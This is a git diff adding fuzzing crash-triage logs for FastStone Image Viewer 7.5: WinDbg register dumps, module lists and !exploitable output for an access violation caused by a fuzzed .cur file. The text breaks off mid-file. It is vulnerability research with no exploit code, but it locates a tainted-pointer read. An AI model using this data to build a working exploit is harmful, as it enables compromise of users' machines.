+image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=6.38747e-032 -6.63114 25896.6 24053.5 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3bc269a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9eb6efe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x000000001101ffff \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f740888 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..55a5281 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,153 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fc8.e48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=2bf28c03 edx=000005f0 esi=00481c9c edi=0fc72fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.981150400000000000000e+0007 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.60752e-019 4.4629e-024 1.49588e+038 -1.57704e+033 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..55a5281 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/WindowsDebugEngine_description.txt @@ -0,0 +1,153 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fc8.e48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=2bf28c03 edx=000005f0 esi=00481c9c edi=0fc72fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.981150400000000000000e+0007 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.60752e-019 4.4629e-024 1.49588e+038 -1.57704e+033 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f740888 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/56024/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9eb6efe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x000000001101ffff \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..61681f8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2a195d2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/58308/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,153 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred 